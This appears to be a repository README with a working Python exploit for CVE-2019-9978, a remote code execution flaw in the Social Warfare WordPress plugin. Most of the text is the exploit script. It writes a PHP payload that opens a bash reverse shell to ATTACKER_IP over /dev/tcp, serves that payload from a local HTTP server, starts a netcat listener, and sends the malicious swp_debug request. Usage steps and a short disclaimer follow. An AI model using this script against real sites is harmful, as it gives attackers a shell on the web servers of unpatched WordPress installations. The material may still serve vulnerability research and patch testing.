The `swp_debug` parameter in `admin-post.php` allows remote attackers to include external files containing malicious PHP code, which are evaluated on the server. By supplying a crafted URL that hosts a reverse shell payload, an attacker can gain command execution.
This repository contains a working Python exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare plugin for WordPress (version <= 3.5.2).
The swp_debug parameter in admin-post.php allows remote attackers to include external files containing malicious PHP code, which are evaluated on the server. By supplying a crafted URL that hosts a reverse shell payload, an attacker can gain command execution.
swp_url parameter to trigger RCE.example.com#!/usr/bin/env python3
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")
ATTACKER_IP and LISTEN_PORT to your machine’s IP and desired port.example.com to the correct IP.python3 exploit.py
This exploit is provided for educational purposes only. Do not use it without explicit permission on any system you do not own.